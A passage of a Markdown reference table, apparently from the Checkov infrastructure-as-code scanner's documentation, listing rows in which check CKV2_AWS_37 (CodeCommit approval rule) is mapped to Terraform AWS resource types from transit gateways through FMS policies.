CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1437 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_route_table_association                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1438 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_route_table_propagation                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1439 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_vpc_attachment                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1440 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_vpc_attachment_accepter                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1441 | CKV2_AWS_37              | resource                         | aws_ecr_account_setting                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1442 | CKV2_AWS_37              | resource                         | aws_ecr_lifecycle_policy                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1443 | CKV2_AWS_37              | resource                         | aws_ecr_pull_through_cache_rule                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1444 | CKV2_AWS_37              | resource                         | aws_ecr_registry_policy                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1445 | CKV2_AWS_37              | resource                         | aws_ecr_registry_scanning_configuration                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1446 | CKV2_AWS_37              | resource                         | aws_ecr_replication_configuration                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1447 | CKV2_AWS_37              | resource                         | aws_ecr_repository                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1448 | CKV2_AWS_37              | resource                         | aws_ecr_repository_creation_template                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1449 | CKV2_AWS_37              | resource                         | aws_ecr_repository_policy                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1450 | CKV2_AWS_37              | resource                         | aws_ecrpublic_repository                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1451 | CKV2_AWS_37              | resource                         | aws_ecrpublic_repository_policy                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1452 | CKV2_AWS_37              | resource                         | aws_ecs_account_setting_default                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1453 | CKV2_AWS_37              | resource                         | aws_ecs_capacity_provider                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1454 | CKV2_AWS_37              | resource                         | aws_ecs_cluster                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1455 | CKV2_AWS_37              | resource                         | aws_ecs_cluster_capacity_providers                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1456 | CKV2_AWS_37              | resource                         | aws_ecs_service                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1457 | CKV2_AWS_37              | resource                         | aws_ecs_tag                                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1458 | CKV2_AWS_37              | resource                         | aws_ecs_task_definition                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1459 | CKV2_AWS_37              | resource                         | aws_ecs_task_set                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1460 | CKV2_AWS_37              | resource                         | aws_efs_access_point                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1461 | CKV2_AWS_37              | resource                         | aws_efs_backup_policy                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1462 | CKV2_AWS_37              | resource                         | aws_efs_file_system                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1463 | CKV2_AWS_37              | resource                         | aws_efs_file_system_policy                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1464 | CKV2_AWS_37              | resource                         | aws_efs_mount_target                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1465 | CKV2_AWS_37              | resource                         | aws_efs_replication_configuration                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1466 | CKV2_AWS_37              | resource                         | aws_egress_only_internet_gateway                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1467 | CKV2_AWS_37              | resource                         | aws_eip                                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1468 | CKV2_AWS_37              | resource                         | aws_eip_association                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1469 | CKV2_AWS_37              | resource                         | aws_eip_domain_name                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1470 | CKV2_AWS_37              | resource                         | aws_eks_access_entry                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1471 | CKV2_AWS_37              | resource                         | aws_eks_access_policy_association                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1472 | CKV2_AWS_37              | resource                         | aws_eks_addon                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1473 | CKV2_AWS_37              | resource                         | aws_eks_cluster                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1474 | CKV2_AWS_37              | resource                         | aws_eks_fargate_profile                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1475 | CKV2_AWS_37              | resource                         | aws_eks_identity_provider_config                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1476 | CKV2_AWS_37              | resource                         | aws_eks_node_group                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1477 | CKV2_AWS_37              | resource                         | aws_eks_pod_identity_association                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1478 | CKV2_AWS_37              | resource                         | aws_elastic_beanstalk_application                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1479 | CKV2_AWS_37              | resource                         | aws_elastic_beanstalk_application_version                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1480 | CKV2_AWS_37              | resource                         | aws_elastic_beanstalk_configuration_template                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1481 | CKV2_AWS_37              | resource                         | aws_elastic_beanstalk_environment                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1482 | CKV2_AWS_37              | resource                         | aws_elasticache_cluster                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1483 | CKV2_AWS_37              | resource                         | aws_elasticache_global_replication_group                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1484 | CKV2_AWS_37              | resource                         | aws_elasticache_parameter_group                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1485 | CKV2_AWS_37              | resource                         | aws_elasticache_replication_group                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1486 | CKV2_AWS_37              | resource                         | aws_elasticache_reserved_cache_node                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1487 | CKV2_AWS_37              | resource                         | aws_elasticache_security_group                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1488 | CKV2_AWS_37              | resource                         | aws_elasticache_serverless_cache                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1489 | CKV2_AWS_37              | resource                         | aws_elasticache_subnet_group                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1490 | CKV2_AWS_37              | resource                         | aws_elasticache_user                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1491 | CKV2_AWS_37              | resource                         | aws_elasticache_user_group                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1492 | CKV2_AWS_37              | resource                         | aws_elasticache_user_group_association                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1493 | CKV2_AWS_37              | resource                         | aws_elasticsearch_domain                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1494 | CKV2_AWS_37              | resource                         | aws_elasticsearch_domain_policy                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1495 | CKV2_AWS_37              | resource                         | aws_elasticsearch_domain_saml_options                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1496 | CKV2_AWS_37              | resource                         | aws_elasticsearch_vpc_endpoint                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1497 | CKV2_AWS_37              | resource                         | aws_elastictranscoder_pipeline                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1498 | CKV2_AWS_37              | resource                         | aws_elastictranscoder_preset                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1499 | CKV2_AWS_37              | resource                         | aws_elb                                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1500 | CKV2_AWS_37              | resource                         | aws_elb_attachment                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1501 | CKV2_AWS_37              | resource                         | aws_emr_block_public_access_configuration                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1502 | CKV2_AWS_37              | resource                         | aws_emr_cluster                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1503 | CKV2_AWS_37              | resource                         | aws_emr_instance_fleet                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1504 | CKV2_AWS_37              | resource                         | aws_emr_instance_group                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1505 | CKV2_AWS_37              | resource                         | aws_emr_managed_scaling_policy                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1506 | CKV2_AWS_37              | resource                         | aws_emr_security_configuration                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1507 | CKV2_AWS_37              | resource                         | aws_emr_studio                                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1508 | CKV2_AWS_37              | resource                         | aws_emr_studio_session_mapping                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1509 | CKV2_AWS_37              | resource                         | aws_emrcontainers_job_template                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1510 | CKV2_AWS_37              | resource                         | aws_emrcontainers_virtual_cluster                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1511 | CKV2_AWS_37              | resource                         | aws_emrserverless_application                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1512 | CKV2_AWS_37              | resource                         | aws_evidently_feature                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1513 | CKV2_AWS_37              | resource                         | aws_evidently_launch                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1514 | CKV2_AWS_37              | resource                         | aws_evidently_project                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1515 | CKV2_AWS_37              | resource                         | aws_evidently_segment                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1516 | CKV2_AWS_37              | resource                         | aws_finspace_kx_cluster                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1517 | CKV2_AWS_37              | resource                         | aws_finspace_kx_database                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1518 | CKV2_AWS_37              | resource                         | aws_finspace_kx_dataview                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1519 | CKV2_AWS_37              | resource                         | aws_finspace_kx_environment                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1520 | CKV2_AWS_37              | resource                         | aws_finspace_kx_scaling_group                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1521 | CKV2_AWS_37              | resource                         | aws_finspace_kx_user                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1522 | CKV2_AWS_37              | resource                         | aws_finspace_kx_volume                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1523 | CKV2_AWS_37              | resource                         | aws_fis_experiment_template                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1524 | CKV2_AWS_37              | resource                         | aws_flow_log                                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1525 | CKV2_AWS_37              | resource                         | aws_fms_admin_account                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1526 | CKV2_AWS_37              | resource                         | aws_fms_policy                                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | 